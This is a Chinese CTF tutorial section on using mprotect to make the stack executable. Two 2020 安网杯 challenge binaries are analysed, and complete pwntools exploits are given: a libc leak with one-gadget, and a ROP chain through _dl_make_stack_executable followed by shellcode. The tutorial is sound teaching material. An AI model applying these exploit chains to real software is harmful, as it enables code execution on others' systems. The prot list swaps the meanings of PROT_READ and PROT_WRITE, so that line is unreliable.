4.11 利用 mprotect 修改栈权限

mprotect 函数

mprotect 函数用于设置一块内存的保护权限(将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值),函数原型如下所示:

#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);
  • prot 的取值如下,通过 | 可以将几个属性结合使用(值相加):

    • PROT_READ:可写,值为 1

    • PROT_WRITE:可读, 值为 2

    • PROT_EXEC:可执行,值为 4

    • PROT_NONE:不允许访问,值为 0

需要注意的是,指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。

如果执行成功,函数返回 0;如果执行失败,函数返回 -1,并且通过 errno 变量表示具体原因。错误的原因主要有以下几个:

  • EACCES:该内存不能设置为相应权限。这是可能发生的,比如 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 修改为 PROT_WRITE。

  • EINVAL:start 不是一个有效指针,指向的不是某个内存页的开头。

  • ENOMEM:内核内部的结构体无法分配。

  • ENOMEM:进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。

当一个进程的内存访问行为违背了内存的保护属性,内核将发出 SIGSEGV(Segmentation fault,段错误)信号,并且终止该进程。

例题

例题来自 2020 安网杯,pwn1 是相对简单对栈溢出,pwn2 在此基础上增加了 mprotect 的运用,同时还是一个静态编译的程序。下载地址

先来看 pwn1,这是一个 64 位的动态链接程序,开启了 Partial RELRO 和 NX。系统层面 ASLR 也是开启的。

$ file pwn1 
pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f92248c7cd330ab53768c281b50d14b4612259f4, not stripped
$ pwn checksec pwn1
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

主函数 main() 先调用 write() 打印字符串,然后进入存在栈溢出漏洞的 vul() 函数,read(0, &buf, 0x100uLL) 读入最多 0x100 字节到 0x80 大小的缓冲区。

.text:0000000000400587 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400587 public main
.text:0000000000400587 main proc near
.text:0000000000400587 ; __unwind {
.text:0000000000400587 push    rbp
.text:0000000000400588 mov     rbp, rsp
.text:000000000040058B mov     edx, 9          ; n
.text:0000000000400590 mov     esi, offset aWelcome ; "welcome~\n"
.text:0000000000400595 mov     edi, 1          ; fd
.text:000000000040059A call    _write
.text:000000000040059F call    vul
.text:00000000004005A4 mov     eax, 0
.text:00000000004005A9 pop     rbp
.text:00000000004005AA retn
.text:00000000004005AA ; } // starts at 400587
.text:00000000004005AA main endp

.text:0000000000400566 public vul
.text:0000000000400566 vul proc near
.text:0000000000400566
.text:0000000000400566 buf= byte ptr -80h
.text:0000000000400566
.text:0000000000400566 ; __unwind {
.text:0000000000400566 push    rbp
.text:0000000000400567 mov     rbp, rsp
.text:000000000040056A add     rsp, 0FFFFFFFFFFFFFF80h
.text:000000000040056E lea     rax, [rbp+buf]
.text:0000000000400572 mov     edx, 100h       ; nbytes
.text:0000000000400577 mov     rsi, rax        ; buf
.text:000000000040057A mov     edi, 0          ; fd
.text:000000000040057F call    _read
.text:0000000000400584 nop
.text:0000000000400585 leave
.text:0000000000400586 retn
.text:0000000000400586 ; } // starts at 400566
.text:0000000000400586 vul endp

总体思路就是栈溢出控制返回地址,执行 one-gadget。因此,我们还需要泄漏 libc 地址,程序里有 write() 函数可以利用。exp 如下所示:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process('./pwn1')
elf = ELF('./pwn1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rsi_r15 = 0x400611
pop_rdi = 0x400613
write = 0x400595

payload = "A"*0x88 + p64(pop_rsi_r15) + p64(elf.got['write'])*2 + p64(write)

io.sendlineafter('welcome~\n', payload)

write_addr = u64(io.recv(8))
io.recv()

one_gadget = write_addr - libc.sym['write'] + 0x4527a
payload = "A"*0x88 + p64(one_gadget)

io.sendline(payload)

io.interactive()

pwn2 是一个 64 位的静态链接程序,开启了 Partial RELRO 和 NX。

$ file pwn2 
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=a3abf349ced6dccd645f0a95d9d47e8ac1217e3e, not stripped
$ pwn checksec pwn2 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

由于静态链接程序的执行不再需要 libc,因此 ret2libc 类型的攻击手段就失效了,需要考虑注入 shellcode,但是又开启了 NX 保护,这时就需要使用本节所讲的 mprotect() 函数修改栈的可执行权限。

可以在程序里找到关键函数 _dl_make_stack_executable(),该函数内部调用了 mprotect(v3, dl_pagesize, (unsigned int)_stack_prot)

$ readelf -s pwn2 | grep exec
   635: 0000000000499f70  2296 FUNC    LOCAL  DEFAULT    6 execute_cfa_program
   639: 000000000049af40  2094 FUNC    LOCAL  DEFAULT    6 execute_stack_op
   821: 0000000000474730    92 FUNC    GLOBAL DEFAULT    6 _dl_make_stack_executable
  1831: 00000000006cb168     8 OBJECT  GLOBAL DEFAULT   25 _dl_make_stack_executable
unsigned int __fastcall dl_make_stack_executable(_QWORD *a1)
{
  __int64 v1; // rdx
  _QWORD *v2; // rax
  signed __int64 v3; // rdi
  _QWORD *v4; // rbx
  unsigned int result; // eax

  v1 = *a1;
  v2 = a1;
  v3 = *a1 & -(signed __int64)dl_pagesize;
  if ( v1 != _libc_stack_end )
    return 1;
  v4 = v2;
  result = mprotect(v3, dl_pagesize, (unsigned int)_stack_prot);
  if ( result )
    return __readfsdword(0xFFFFFFD0);
  *v4 = 0LL;
  dl_stack_flags |= 1u;
  return result;
}

构造方法是在进入 _dl_make_stack_executable 函数之前,将全局变量 _stack_prot 设置为 7(可读可写可执行),同时将 rdi 设置为全局变量 __libc_stack_end 的值。如下所示:

gef➤  x/gx $rsp-0x10
0x7ffef00bbb08:	0x4141414141414141
0x7ffef00bbb10:	0x4141414141414141
0x7ffef00bbb18:	0x00000000004015e7  # pop rsi ; ret
0x7ffef00bbb20:	0x0000000000000007      # rwx
0x7ffef00bbb28:	0x00000000004014c6  # pop rdi ; ret
0x7ffef00bbb30:	0x00000000006c9fe0      # __stack_prot
0x7ffef00bbb38:	0x000000000047a3b2  # mov [rdi], rsi
0x7ffef00bbb40:	0x00000000004014c6  # pop rdi ; ret
0x7ffef00bbb48:	0x00000000006c9f90      # __libc_stack_end
0x7ffef00bbb50:	0x0000000000474730      # _dl_make_stack_executable
0x7ffef00bbb58:	0x00000000004009e7      # vul

调用 mprotect 前:

     0x474754 <_dl_make_stack_executable+36> add    BYTE PTR [rbx+0x48], dl
     0x474757 <_dl_make_stack_executable+39> mov    ebx, eax
 →   0x474759 <_dl_make_stack_executable+41> call   0x43fd00 <mprotect>
   ↳    0x43fd00 <mprotect+0>     mov    eax, 0xa
        0x43fd05 <mprotect+5>     syscall 
        0x43fd07 <mprotect+7>     cmp    rax, 0xfffffffffffff001

mprotect (
   $rdi = 0x00007ffef00bb000 → 0x0000000000000000,
   $rsi = 0x0000000000001000,
   $rdx = 0x0000000000000007
)

gef➤  vmmap 
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw- 
0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
0x00007ffef009d000 0x00007ffef00be000 0x0000000000000000 rw- [stack]
0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

调用 mprotect 后,可以看到 0x00007ffef00bb000 到 0x00007ffef00bc000 的栈内存已经是 rwx 权限了:

gef➤  vmmap 
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw- 
0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
0x00007ffef009d000 0x00007ffef00bb000 0x0000000000000000 rw- 
0x00007ffef00bb000 0x00007ffef00bc000 0x0000000000000000 rwx [stack]
0x00007ffef00bc000 0x00007ffef00be000 0x0000000000000000 rw- 
0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

接下来程序跳到 vul 函数,读入 shellcode 到栈上并执行,即可获得 shell。exp 如下所示:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process('./pwn2')
elf = ELF('./pwn2')

vul = 0x4009E7
write = 0x4009DD

pop_rdi = 0x4014c6
pop_rsi = 0x4015e7
pop_rdx = 0x442626
jmp_rsi = 0x4a3313
mov_rdi_esi = 0x47a3b3

payload  = "A"*0x88
payload += p64(pop_rsi) + p64(7) + p64(pop_rdi) + p64(elf.sym['__stack_prot']) + p64(mov_rdi_esi)
payload += p64(pop_rdi) + p64(elf.sym['__libc_stack_end']) + p64(elf.sym['_dl_make_stack_executable'])
payload += p64(vul)

io.sendlineafter('welcome~\n', payload)

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x88, "A") + p64(jmp_rsi)

io.sendline(payload)

io.interactive()

参考资料

Last updated